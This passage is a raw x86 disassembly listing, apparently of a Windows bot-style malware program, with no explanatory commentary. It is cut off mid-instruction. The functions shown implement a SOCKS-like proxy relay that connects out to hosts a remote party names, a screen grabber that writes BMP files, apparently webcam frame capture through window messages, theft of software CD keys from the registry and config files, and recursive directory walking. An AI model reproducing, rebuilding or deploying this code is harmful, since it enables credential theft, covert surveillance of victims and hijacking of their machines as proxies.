var_14 = dword ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 5D4h mov eax, [ebp+arg_0] push ebx push esi push edi push 2Ch mov esi, eax pop ecx lea edi, [ebp+var_C8] rep movsd mov esi, [ebp+var_2C] push 1 mov [ebp+arg_0], esi imul esi, 234h pop edi lea esi, dword_44207C[esi] mov [eax+0ACh], edi xor ebx, ebx mov eax, [esi] mov [ebp+var_8], 5 mov [ebp+var_5D0], eax lea eax, [ebp+var_8] push eax push ebx lea eax, [ebp+var_5D4] push ebx push eax push ebx mov [ebp+var_4], ebx mov [ebp+var_5D4], edi call ds:dword_43C600 ; select test eax, eax jnz short loc_40825D push dword ptr [esi] call ds:dword_43C6B0 ; closesocket push [ebp+arg_0] call sub_417064 pop ecx push ebx call ds:dword_423050 loc_40825D: ; CODE XREF: sub_4081DC+67j push ebx lea eax, [ebp+var_4D0] push 408h push eax push dword ptr [esi] call ds:dword_43C630 ; recv test eax, eax jg short loc_40828E push dword ptr [esi] call ds:dword_43C6B0 ; closesocket push [ebp+arg_0] call sub_417064 pop ecx push ebx call ds:dword_423050 loc_40828E: ; CODE XREF: sub_4081DC+98j cmp [ebp+var_4D0], 4 jnz loc_408488 cmp [ebp+var_4CF], 1 jnz loc_408488 cmp [ebp+Str2], bl jz short loc_408324 lea eax, [ebp+Str2] push eax ; Str2 lea eax, [ebp+Dst] push eax ; Str1 call _strcmp pop ecx test eax, eax pop ecx jz short loc_408324 lea eax, [ebp+Str2] push eax lea eax, [ebp+Dst] push eax ; Args push offset unk_42A830 ; Format call sub_40BFE3 push 400h ; Size lea eax, [ebp+Dst] push ebx ; Val push eax ; Dst mov [ebp+var_4D0], bl mov [ebp+var_4CF], 5Dh call _memset add esp, 18h lea eax, [ebp+var_4D0] push ebx push 8 push eax push dword ptr [esi] call ds:dword_43C668 ; send push dword ptr [esi] call ds:dword_43C6B0 ; closesocket push [ebp+arg_0] call sub_417064 pop ecx push ebx call ds:dword_423050 loc_408324: ; CODE XREF: sub_4081DC+CFj ; sub_4081DC+E5j push 10h ; Size lea eax, [ebp+var_18] push ebx ; Val push eax ; Dst call _memset mov ax, [ebp+var_4CE] add esp, 0Ch mov [ebp+var_16], ax mov eax, [ebp+var_4CC] push 6 push edi push 2 mov [ebp+var_18], 2 mov [ebp+var_14], eax call ds:dword_43C698 ; socket mov edi, eax cmp edi, 0FFFFFFFFh jnz short loc_4083BC call ds:dword_43C5AC ; WSAGetLastError push eax ; Args push offset unk_42A7E4 ; Format call sub_40BFE3 push 400h ; Size lea eax, [ebp+Dst] push ebx ; Val push eax ; Dst mov [ebp+var_4D0], bl mov [ebp+var_4CF], 5Bh call _memset add esp, 14h lea eax, [ebp+var_4D0] push ebx push 8 push eax push dword ptr [esi] call ds:dword_43C668 ; send push dword ptr [esi] call ds:dword_43C6B0 ; closesocket push [ebp+arg_0] call sub_417064 pop ecx push ebx call ds:dword_423050 loc_4083BC: ; CODE XREF: sub_4081DC+181j lea eax, [ebp+var_18] push 10h push eax push edi call ds:dword_43C5C0 ; connect cmp eax, 0FFFFFFFFh jnz short loc_40842B call ds:dword_43C5AC ; WSAGetLastError push eax ; Args push offset unk_42A794 ; Format call sub_40BFE3 push 400h ; Size lea eax, [ebp+Dst] push ebx ; Val push eax ; Dst mov [ebp+var_4D0], bl mov [ebp+var_4CF], 5Bh call _memset add esp, 14h lea eax, [ebp+var_4D0] push ebx push 8 push eax push dword ptr [esi] call ds:dword_43C668 ; send push dword ptr [esi] call ds:dword_43C6B0 ; closesocket push [ebp+arg_0] call sub_417064 pop ecx push ebx call ds:dword_423050 loc_40842B: ; CODE XREF: sub_4081DC+1F0j push 400h ; Size lea eax, [ebp+Dst] push ebx ; Val push eax ; Dst mov [ebp+var_4D0], bl mov [ebp+var_4CF], 5Ah call _memset add esp, 0Ch lea eax, [ebp+var_4D0] push ebx push 8 push eax push dword ptr [esi] call ds:dword_43C668 ; send push dword ptr [esi] push edi call sub_4084A0 pop ecx pop ecx push edi call ds:dword_43C6B0 ; closesocket push dword ptr [esi] call ds:dword_43C6B0 ; closesocket push [ebp+arg_0] call sub_417064 pop ecx push ebx call ds:dword_423050 loc_408488: ; CODE XREF: sub_4081DC+B9j ; sub_4081DC+C6j push dword ptr [esi] call ds:dword_43C6B0 ; closesocket push [ebp+arg_0] call sub_417064 pop ecx push ebx call ds:dword_423050 sub_4081DC endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4084A0 proc near ; CODE XREF: sub_4081DC+286p Dst = byte ptr -504h var_104 = dword ptr -104h var_100 = dword ptr -100h var_FC = dword ptr -0FCh arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 504h push ebx mov ebx, [ebp+arg_4] push esi push edi xor edi, edi mov esi, 400h loc_4084B6: ; CODE XREF: sub_4084A0+C5j ; sub_4084A0+F5j mov [ebp+var_100], ebx mov [ebp+var_104], 1 xor ecx, ecx lea eax, [ebp+var_100] loc_4084CE: ; CODE XREF: sub_4084A0+3Cj mov edx, [ebp+arg_0] cmp [eax], edx jz short loc_4084DE inc ecx add eax, 4 cmp ecx, 1 jb short loc_4084CE loc_4084DE: ; CODE XREF: sub_4084A0+33j cmp ecx, 1 jnz short loc_4084F3 mov [ebp+var_FC], edx mov [ebp+var_104], 2 loc_4084F3: ; CODE XREF: sub_4084A0+41j push esi ; Size lea eax, [ebp+Dst] push edi ; Val push eax ; Dst call _memset add esp, 0Ch lea eax, [ebp+var_104] push edi push edi push edi push eax push edi call ds:dword_43C600 ; select lea eax, [ebp+var_104] push eax push ebx call ds:dword_43C510 ; __WSAFDIsSet test eax, eax jz short loc_408553 push edi lea eax, [ebp+Dst] push esi push eax push ebx call ds:dword_43C630 ; recv cmp eax, 0FFFFFFFFh jz short loc_40859B push edi push eax lea eax, [ebp+Dst] push eax push [ebp+arg_0] call ds:dword_43C668 ; send cmp eax, 0FFFFFFFFh jz short loc_40859B loc_408553: ; CODE XREF: sub_4084A0+85j lea eax, [ebp+var_104] push eax push [ebp+arg_0] call ds:dword_43C510 ; __WSAFDIsSet test eax, eax jz loc_4084B6 push edi lea eax, [ebp+Dst] push esi push eax push [ebp+arg_0] call ds:dword_43C630 ; recv cmp eax, 0FFFFFFFFh jz short loc_40859B push edi push eax lea eax, [ebp+Dst] push eax push ebx call ds:dword_43C668 ; send cmp eax, 0FFFFFFFFh jnz loc_4084B6 loc_40859B: ; CODE XREF: sub_4084A0+9Aj ; sub_4084A0+B1j ... pop edi pop esi pop ebx leave retn sub_4084A0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4085A0 proc near ; CODE XREF: sub_40EE51+45B1p var_484 = byte ptr -484h var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_78 = word ptr -78h var_76 = word ptr -76h var_74 = dword ptr -74h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = word ptr -4Ch var_4A = word ptr -4Ah var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = word ptr -30h var_2E = dword ptr -2Eh var_2A = word ptr -2Ah var_28 = word ptr -28h var_26 = dword ptr -26h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 484h push ebx push esi xor esi, esi push edi push esi push esi push esi push offset aDisplay ; "DISPLAY" call ds:dword_43C604 ; CreateDCA mov edi, eax cmp edi, esi mov [ebp+var_20], edi jz loc_4087D4 push 8 push edi call ds:dword_43C620 ; GetDeviceCaps push 0Ah push edi mov [ebp+var_8], eax call ds:dword_43C620 ; GetDeviceCaps push 0Ch push edi mov [ebp+var_C], eax call ds:dword_43C620 ; GetDeviceCaps cmp eax, 8 mov [ebp+var_10], eax ja short loc_408602 push 18h push edi call ds:dword_43C620 ; GetDeviceCaps mov ebx, 100h jmp short loc_408604 ; --------------------------------------------------------------------------- loc_408602: ; CODE XREF: sub_4085A0+50j xor ebx, ebx loc_408604: ; CODE XREF: sub_4085A0+60j push edi call ds:dword_43C664 ; CreateCompatibleDC cmp eax, esi mov [ebp+var_4], eax jz loc_4087B9 mov eax, [ebp+var_8] push esi mov [ebp+var_80], eax mov eax, [ebp+var_C] mov [ebp+var_7C], eax mov ax, word ptr [ebp+var_10] mov [ebp+var_76], ax lea eax, [ebp+var_18] push esi push eax lea eax, [ebp+var_84] push 1 push eax push edi mov [ebp+var_84], 28h mov [ebp+var_78], 1 mov [ebp+var_74], esi mov [ebp+var_70], esi mov [ebp+var_6C], esi mov [ebp+var_68], esi mov [ebp+var_64], ebx mov [ebp+var_60], ebx call ds:dword_43C65C ; CreateDIBSection cmp eax, esi mov [ebp+var_1C], eax jz loc_4087C4 push eax push [ebp+var_4] call ds:dword_43C4F4 ; SelectObject cmp eax, esi jz loc_4087C4 cmp eax, 0FFFFFFFFh jz loc_4087C4 push 0CC0020h push esi push esi push edi push [ebp+var_C] push [ebp+var_8] push esi push esi push [ebp+var_4] call ds:dword_43C660 ; BitBlt test eax, eax jz loc_4087C4 cmp ebx, esi jz short loc_4086C1 lea eax, [ebp+var_484] push eax push ebx push esi push [ebp+var_4] call ds:dword_43C548 ; GetDIBColorTable mov ebx, eax loc_4086C1: ; CODE XREF: sub_4085A0+10Bj mov edi, [ebp+var_10] mov ecx, [ebp+var_8] imul edi, [ebp+var_C] imul edi, ecx mov eax, ebx push esi shr edi, 3 shl eax, 2 mov [ebp+var_8], eax push 80h lea edx, [eax+edi+36h] add eax, 36h push 2 mov [ebp+var_26], eax mov eax, [ebp+var_C] push esi push esi push 40000000h push [ebp+arg_0] mov [ebp+var_50], eax mov ax, word ptr [ebp+var_10] mov [ebp+var_30], 4D42h mov [ebp+var_2E], edx mov [ebp+var_2A], si mov [ebp+var_28], si mov [ebp+var_58], 28h mov [ebp+var_54], ecx mov [ebp+var_4C], 1 mov [ebp+var_4A], ax mov [ebp+var_48], esi mov [ebp+var_44], esi mov [ebp+var_40], esi mov [ebp+var_3C], esi mov [ebp+var_38], ebx mov [ebp+var_34], esi call ds:dword_423080 cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz short loc_4087A4 lea ecx, [ebp+var_14] push esi push ecx lea ecx, [ebp+var_30] push 0Eh push ecx push eax call ds:dword_423078 lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_58] push 28h push eax push [ebp+arg_0] call ds:dword_423078 cmp ebx, esi jz short loc_408786 lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_484] push [ebp+var_8] push eax push [ebp+arg_0] call ds:dword_423078 loc_408786: ; CODE XREF: sub_4085A0+1CCj lea eax, [ebp+var_14] push esi push eax push edi push [ebp+var_18] push [ebp+arg_0] call ds:dword_423078 push [ebp+arg_0] call ds:dword_423074 push 1 pop esi loc_4087A4: ; CODE XREF: sub_4085A0+1A2j push [ebp+var_1C] call ds:dword_43C57C ; DeleteObject push [ebp+var_4] call ds:dword_43C4E0 ; DeleteDC mov edi, [ebp+var_20] loc_4087B9: ; CODE XREF: sub_4085A0+70j push edi call ds:dword_43C4E0 ; DeleteDC mov eax, esi jmp short loc_4087D6 ; --------------------------------------------------------------------------- loc_4087C4: ; CODE XREF: sub_4085A0+C7j ; sub_4085A0+D9j ... push edi call ds:dword_43C4E0 ; DeleteDC push [ebp+var_4] call ds:dword_43C4E0 ; DeleteDC loc_4087D4: ; CODE XREF: sub_4085A0+23j xor eax, eax loc_4087D6: ; CODE XREF: sub_4085A0+222j pop edi pop esi pop ebx leave retn sub_4085A0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_4087DB(int,size_t Size,int,int) sub_4087DB proc near ; CODE XREF: sub_40EE51+46EDp var_34 = byte ptr -34h var_20 = dword ptr -20h Memory = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 Size = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 34h push ebx push esi push edi push 1 pop esi xor ebx, ebx push esi push ds:dword_43B0B0 push 78h push 0A0h push ebx push ebx push 40000000h push offset aWindow ; "Window" call ds:dword_43C570 mov edi, eax cmp edi, ebx mov [ebp+var_4], edi jnz short loc_408819 mov eax, esi jmp loc_4089CF ; --------------------------------------------------------------------------- loc_408819: ; CODE XREF: sub_4087DB+35j push edi call ds:dword_43C5B8 ; IsWindow test eax, eax jz short loc_408836 push ebx push [ebp+Size] push 40Ah push edi call ds:dword_43C674 ; SendMessageA jmp short loc_408838 ; --------------------------------------------------------------------------- loc_408836: ; CODE XREF: sub_4087DB+47j xor eax, eax loc_408838: ; CODE XREF: sub_4087DB+59j cmp eax, ebx jnz short loc_408843 loc_40883C: ; CODE XREF: sub_4087DB+88j ; sub_4087DB+BCj mov ebx, esi jmp loc_4089C4 ; --------------------------------------------------------------------------- loc_408843: ; CODE XREF: sub_4087DB+5Fj push edi call ds:dword_43C5B8 ; IsWindow test eax, eax jz short loc_408860 lea eax, [ebp+var_34] push eax push 2Ch push 40Eh push edi call ds:dword_43C674 ; SendMessageA loc_408860: ; CODE XREF: sub_4087DB+71j cmp [ebp+var_20], ebx jz short loc_40883C push edi call ds:dword_43C5B8 ; IsWindow test eax, eax mov edi, 42Ch jz short loc_408886 push ebx push ebx push edi push [ebp+var_4] call ds:dword_43C674 ; SendMessageA mov [ebp+Size], eax jmp short loc_408889 ; --------------------------------------------------------------------------- loc_408886: ; CODE XREF: sub_4087DB+98j mov [ebp+Size], ebx loc_408889: ; CODE XREF: sub_4087DB+A9j push [ebp+Size] ; Size call _malloc cmp eax, ebx pop ecx mov [ebp+Memory], eax jz short loc_40883C push [ebp+Size] ; Size call _malloc mov esi, eax pop ecx cmp esi, ebx jnz short loc_4088B0 push 1 pop ebx jmp loc_4089C4 ; --------------------------------------------------------------------------- loc_4088B0: ; CODE XREF: sub_4087DB+CBj push [ebp+var_4] call ds:dword_43C5B8 ; IsWindow test eax, eax jz short loc_4088CD push [ebp+Memory] push [ebp+Size] push edi push [ebp+var_4] call ds:dword_43C674 ; SendMessageA loc_4088CD: ; CODE XREF: sub_4087DB+E0j push [ebp+Size] ; Size push [ebp+Memory] ; Src push esi ; Dst call _memcpy mov ecx, [ebp+arg_8] add esp, 0Ch cmp ecx, ebx jg short loc_4088E8 mov ecx, 280h loc_4088E8: ; CODE XREF: sub_4087DB+106j mov eax, [ebp+arg_C] cmp eax, ebx jg short loc_4088F4 mov eax, 1E0h loc_4088F4: ; CODE XREF: sub_4087DB+112j push [ebp+var_4] mov [esi+4], ecx mov [esi+8], eax mov word ptr [esi+0Eh], 10h mov [esi+14h], ebx mov [esi+10h], ebx mov [esi+20h], ebx mov [esi+24h], ebx mov word ptr [esi+0Ch], 1 mov [esi+28h], bl mov [esi+29h], bl mov [esi+2Ah], bl mov [esi+2Bh], bl call ds:dword_43C5B8 ; IsWindow test eax, eax mov edi, 42Dh jz short loc_40893E push esi push [ebp+Size] push edi push [ebp+var_4] call ds:dword_43C674 ; SendMessageA loc_40893E: ; CODE XREF: sub_4087DB+153j push [ebp+var_4] call ds:dword_43C5B8 ; IsWindow test eax, eax jz short loc_40895B push ebx push ebx push 43Dh push [ebp+var_4] call ds:dword_43C674 ; SendMessageA loc_40895B: ; CODE XREF: sub_4087DB+16Ej push [ebp+var_4] call ds:dword_43C5B8 ; IsWindow test eax, eax jz short loc_40897A push [ebp+arg_0] push ebx push 419h push [ebp+var_4] call ds:dword_43C674 ; SendMessageA loc_40897A: ; CODE XREF: sub_4087DB+18Bj push [ebp+var_4] call ds:dword_43C5B8 ; IsWindow test eax, eax jz short loc_408997 push [ebp+Memory] push [ebp+Size] push edi push [ebp+var_4] call ds:dword_43C674 ; SendMessageA loc_408997: ; CODE XREF: sub_4087DB+1AAj push [ebp+Memory] ; Memory call _free push esi ; Memory call _free pop ecx pop ecx push [ebp+var_4] call ds:dword_43C5B8 ; IsWindow test eax, eax jz short loc_4089C4 push ebx push ebx push 40Bh push [ebp+var_4] call ds:dword_43C674 ; SendMessageA loc_4089C4: ; CODE XREF: sub_4087DB+63j ; sub_4087DB+D0j ... push [ebp+var_4] call ds:dword_43C6C8 ; DestroyWindow mov eax, ebx loc_4089CF: ; CODE XREF: sub_4087DB+39j pop edi pop esi pop ebx leave retn sub_4087DB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_4089D4(int,size_t Size,int,int,int) sub_4089D4 proc near ; CODE XREF: sub_40EE51+47A6p var_90 = byte ptr -90h var_7C = dword ptr -7Ch var_64 = dword ptr -64h var_60 = dword ptr -60h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch Memory = dword ptr -4 arg_0 = dword ptr 8 Size = dword ptr 0Ch arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 90h push ebx push esi push edi push 1 pop esi xor ebx, ebx push esi push ds:dword_43B0B0 push 78h push 0A0h push ebx push ebx push 40000000h push offset aWindow ; "Window" call ds:dword_43C570 mov edi, eax cmp edi, ebx jnz short loc_408A12 mov eax, esi jmp loc_408C0E ; --------------------------------------------------------------------------- loc_408A12: ; CODE XREF: sub_4089D4+35j push edi call ds:dword_43C5B8 ; IsWindow test eax, eax jz short loc_408A2F push ebx push [ebp+Size] push 40Ah push edi call ds:dword_43C674 ; SendMessageA jmp short loc_408A31 ; --------------------------------------------------------------------------- loc_408A2F: ; CODE XREF: sub_4089D4+47j xor eax, eax loc_408A31: ; CODE XREF: sub_4089D4+59j cmp eax, ebx jnz short loc_408A3C loc_408A35: ; CODE XREF: sub_4089D4+8Bj ; sub_4089D4+BCj mov ebx, esi jmp loc_408C05 ; --------------------------------------------------------------------------- loc_408A3C: ; CODE XREF: sub_4089D4+5Fj push edi call ds:dword_43C5B8 ; IsWindow test eax, eax jz short loc_408A5C lea eax, [ebp+var_90] push eax push 2Ch push 40Eh push edi call ds:dword_43C674 ; SendMessageA loc_408A5C: ; CODE XREF: sub_4089D4+71j cmp [ebp+var_7C], ebx jz short loc_408A35 push edi call ds:dword_43C5B8 ; IsWindow test eax, eax jz short loc_408A7F push ebx push ebx push 42Ch push edi call ds:dword_43C674 ; SendMessageA mov [ebp+Size], eax jmp short loc_408A82 ; --------------------------------------------------------------------------- loc_408A7F: ; CODE XREF: sub_4089D4+96j mov [ebp+Size], ebx loc_408A82: ; CODE XREF: sub_4089D4+A9j push [ebp+Size] ; Size call _malloc cmp eax, ebx pop ecx mov [ebp+Memory], eax jz short loc_408A35 push [ebp+Size] ; Size call _malloc mov esi, eax pop ecx cmp esi, ebx jnz short loc_408AA9 push 1 pop ebx jmp loc_408C05 ; --------------------------------------------------------------------------- loc_408AA9: ; CODE XREF: sub_4089D4+CBj push edi call ds:dword_43C5B8 ; IsWindow test eax, eax jz short loc_408AC6 push [ebp+Memory] push [ebp+Size] push 42Ch push edi call ds:dword_43C674 ; SendMessageA loc_408AC6: ; CODE XREF: sub_4089D4+DEj push [ebp+Size] ; Size push [ebp+Memory] ; Src push esi ; Dst call _memcpy mov ecx, [ebp+arg_C] add esp, 0Ch cmp ecx, ebx jg short loc_408AE1 mov ecx, 0A0h loc_408AE1: ; CODE XREF: sub_4089D4+106j mov eax, [ebp+arg_10] cmp eax, ebx jg short loc_408AEB push 78h pop eax loc_408AEB: ; CODE XREF: sub_4089D4+112j push edi mov [esi+4], ecx mov [esi+8], eax mov word ptr [esi+0Eh], 10h mov [esi+14h], ebx mov [esi+10h], ebx mov [esi+20h], ebx mov [esi+24h], ebx mov word ptr [esi+0Ch], 1 mov [esi+28h], bl mov [esi+29h], bl mov [esi+2Ah], bl mov [esi+2Bh], bl call ds:dword_43C5B8 ; IsWindow test eax, eax jz short loc_408B30 push esi push [ebp+Size] push 42Dh push edi call ds:dword_43C674 ; SendMessageA loc_408B30: ; CODE XREF: sub_4089D4+14Aj push edi call ds:dword_43C5B8 ; IsWindow test eax, eax jz short loc_408B4D lea eax, [ebp+var_64] push eax push 60h push 441h push edi call ds:dword_43C674 ; SendMessageA loc_408B4D: ; CODE XREF: sub_4089D4+165j push edi mov [ebp+var_60], ebx mov [ebp+var_3C], ebx mov [ebp+var_38], ebx mov [ebp+var_34], ebx mov [ebp+var_30], 1 mov [ebp+var_2C], 5 mov [ebp+var_64], 1046Ah call ds:dword_43C5B8 ; IsWindow test eax, eax jz short loc_408B8B lea eax, [ebp+var_64] push eax push 60h push 440h push edi call ds:dword_43C674 ; SendMessageA loc_408B8B: ; CODE XREF: sub_4089D4+1A3j push edi call ds:dword_43C5B8 ; IsWindow test eax, eax jz short loc_408BA6 push [ebp+arg_0] push ebx push 414h push edi call ds:dword_43C674 ; SendMessageA loc_408BA6: ; CODE XREF: sub_4089D4+1C0j push edi call ds:dword_43C5B8 ; IsWindow test eax, eax jz short loc_408BBF push ebx push ebx push 43Eh push edi call ds:dword_43C674 ; SendMessageA loc_408BBF: ; CODE XREF: sub_4089D4+1DBj push edi call ds:dword_43C5B8 ; IsWindow test eax, eax jz short loc_408BDC push [ebp+Memory] push [ebp+Size] push 42Dh push edi call ds:dword_43C674 ; SendMessageA loc_408BDC: ; CODE XREF: sub_4089D4+1F4j push [ebp+Memory] ; Memory call _free push esi ; Memory call _free pop ecx pop ecx push edi call ds:dword_43C5B8 ; IsWindow test eax, eax jz short loc_408C05 push ebx push ebx push 40Bh push edi call ds:dword_43C674 ; SendMessageA loc_408C05: ; CODE XREF: sub_4089D4+63j ; sub_4089D4+D0j ... push edi call ds:dword_43C6C8 ; DestroyWindow mov eax, ebx loc_408C0E: ; CODE XREF: sub_4089D4+39j pop edi pop esi pop ebx leave retn sub_4089D4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_408C13(int,char *Str,int) sub_408C13 proc near ; CODE XREF: sub_40EE51+5862p Filename = byte ptr -3F4h var_2F0 = dword ptr -2F0h var_F0 = byte ptr -0F0h Buf = byte ptr -70h var_C = dword ptr -0Ch File = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 Str = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 3F4h push ebx xor ebx, ebx cmp ds:off_42A894, ebx mov [ebp+var_C], 80h jz loc_408DC5 push esi push edi mov eax, offset off_42A894 mov esi, offset dword_42A8A0 mov edi, offset aSCdKeyS_ ; "%s CD Key: (%s)." loc_408C43: ; CODE XREF: sub_408C13+1AAj lea ecx, [ebp+var_4] push ecx push 20019h push ebx push dword ptr [eax] push dword ptr [esi-10h] call ds:dword_43C688 ; RegOpenKeyExA lea eax, [ebp+var_C] push eax lea eax, [ebp+var_F0] push eax push ebx push ebx push dword ptr [esi-8] push [ebp+var_4] call ds:dword_43C524 ; RegQueryValueExA test eax, eax jnz loc_408DAB mov eax, [esi] cmp eax, ebx jz loc_408D6F push eax lea eax, [ebp+var_F0] push eax lea eax, [ebp+Filename] push offset aSS_3 ; "%s\\%s" push eax ; Dest call _sprintf lea eax, [ebp+Filename] push offset aR ; "r" push eax ; Filename call _fopen add esp, 18h cmp eax, ebx mov [ebp+File], eax jz loc_408DAB push eax ; File loc_408CBC: ; CODE XREF: sub_408C13+D4j lea eax, [ebp+Buf] push 64h ; MaxCount push eax ; Buf call _fgets add esp, 0Ch test eax, eax jz loc_408D64 push dword ptr [esi+4] ; SubStr lea eax, [ebp+Buf] push eax ; Str call _strstr pop ecx test eax, eax pop ecx jz short loc_408CE9 push [ebp+File] jmp short loc_408CBC ; --------------------------------------------------------------------------- loc_408CE9: ; CODE XREF: sub_408C13+CFj push 3Dh ; Val push dword ptr [esi+4] ; Str call _strchr pop ecx test eax, eax pop ecx jz short loc_408D28 lea eax, [ebp+Buf] push offset Delim ; "=" push eax ; Str call _strtok push offset Delim ; "=" push ebx ; Str call _strtok push eax lea eax, [ebp+var_2F0] push dword ptr [esi-4] push edi ; Format push eax ; Dest call _sprintf add esp, 20h jmp short loc_408D3F ; --------------------------------------------------------------------------- loc_408D28: ; CODE XREF: sub_408C13+E4j lea eax, [ebp+Buf] push eax lea eax, [ebp+var_2F0] push dword ptr [esi-4] push edi ; Format push eax ; Dest call _sprintf add esp, 10h loc_408D3F: ; CODE XREF: sub_408C13+113j push ebx ; int lea eax, [ebp+var_2F0] push [ebp+arg_8] ; int push eax ; int push [ebp+Str] ; Str push [ebp+arg_0] ; int call sub_40D670 lea eax, [ebp+var_2F0] push eax call sub_40BF6F add esp, 18h loc_408D64: ; CODE XREF: sub_408C13+B9j push [ebp+File] ; File call _fclose pop ecx jmp short loc_408DAB ; --------------------------------------------------------------------------- loc_408D6F: ; CODE XREF: sub_408C13+6Aj lea eax, [ebp+var_F0] push eax lea eax, [ebp+var_2F0] push dword ptr [esi-4] push edi ; Format push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+var_2F0] push [ebp+arg_8] ; int push eax ; int push [ebp+Str] ; Str push [ebp+arg_0] ; int call sub_40D670 lea eax, [ebp+var_2F0] push eax call sub_40BF6F add esp, 28h loc_408DAB: ; CODE XREF: sub_408C13+60j ; sub_408C13+A2j ... push [ebp+var_4] call ds:dword_43C5F4 ; RegCloseKey add esi, 18h cmp [esi-0Ch], ebx lea eax, [esi-0Ch] jnz loc_408C43 pop edi pop esi loc_408DC5: ; CODE XREF: sub_408C13+19j pop ebx leave retn sub_408C13 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408DC8 proc near ; DATA XREF: sub_40EE51+3D67o Dest = byte ptr -49Ch var_29C = dword ptr -29Ch var_298 = byte ptr -298h var_218 = dword ptr -218h var_115 = byte ptr -115h Str = byte ptr -114h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 49Ch mov eax, [ebp+arg_0] push ebx push esi push edi mov ecx, 0A7h mov esi, eax lea edi, [ebp+var_29C] rep movsd mov dword ptr [eax+298h], 1 lea eax, [ebp+Str] push eax ; Str call _strlen xor ebx, ebx cmp [ebp+eax+var_115], 5Ch pop ecx jnz short loc_408E1D lea eax, [ebp+Str] push eax ; Str call _strlen pop ecx mov [ebp+eax+var_115], bl loc_408E1D: ; CODE XREF: sub_408DC8+3Fj lea eax, [ebp+var_218] push eax push offset unk_42BAEC ; Format lea eax, [ebp+Dest] push 200h ; Count push eax ; Dest call __snprintf add esp, 10h cmp [ebp+var_8], ebx jnz short loc_408E62 push ebx ; int lea eax, [ebp+Dest] push [ebp+var_C] ; int push eax ; int lea eax, [ebp+var_298] push eax ; Str push [ebp+var_29C] ; int call sub_40D670 add esp, 14h loc_408E62: ; CODE XREF: sub_408DC8+78j lea eax, [ebp+Str] push ebx ; int push eax ; int lea eax, [ebp+var_218] push eax ; int lea eax, [ebp+var_298] push [ebp+var_C] ; int push eax ; Str push [ebp+var_29C] ; int call sub_408EE0 push eax lea eax, [ebp+Dest] push offset unk_42BABC ; Format push eax ; Dest call _sprintf add esp, 24h cmp [ebp+var_8], ebx jnz short loc_408EC0 push ebx ; int lea eax, [ebp+Dest] push [ebp+var_C] ; int push eax ; int lea eax, [ebp+var_298] push eax ; Str push [ebp+var_29C] ; int call sub_40D670 add esp, 14h loc_408EC0: ; CODE XREF: sub_408DC8+D6j lea eax, [ebp+Dest] push eax call sub_40BF6F push [ebp+var_10] call sub_417064 pop ecx pop ecx push ebx call ds:dword_423050 pop edi pop esi pop ebx sub_408DC8 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_408EE0(int,char *Str,int,int,int,int) sub_408EE0 proc near ; CODE XREF: sub_408DC8+B9p ; sub_408EE0+9Ep var_54C = dword ptr -54Ch var_34C = dword ptr -34Ch Dest = byte ptr -248h var_144 = byte ptr -144h var_118 = byte ptr -118h var_117 = byte ptr -117h var_4 = dword ptr -4 arg_0 = dword ptr 8 Str = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 54Ch push ebx push esi push edi mov esi, 104h push [ebp+arg_10] lea eax, [ebp+Dest] push offset aS_7 ; "%s\\*" push esi ; Count push eax ; Dest call __snprintf mov edi, ds:dword_4230B8 add esp, 10h lea eax, [ebp+var_144] push eax lea eax, [ebp+Dest] push eax call edi cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax mov ebx, offset aSS_3 ; "%s\\%s" jz short loc_408F9D loc_408F2C: ; CODE XREF: sub_408EE0+BBj test [ebp+var_144], 10h jz short loc_408F89 cmp [ebp+var_118], 2Eh jnz short loc_408F50 cmp [ebp+var_117], 0 jz short loc_408F89 cmp [ebp+var_117], 2Eh jz short loc_408F89 loc_408F50: ; CODE XREF: sub_408EE0+5Cj lea eax, [ebp+var_118] push eax lea eax, [ebp+var_34C] push [ebp+arg_10] push ebx ; Format push esi ; Count push eax ; Dest call __snprintf push [ebp+arg_14] ; int lea eax, [ebp+var_34C] push eax ; int push [ebp+arg_C] ; int push [ebp+arg_8] ; int push [ebp+Str] ; Str push [ebp+arg_0] ; int call sub_408EE0 add esp, 2Ch mov 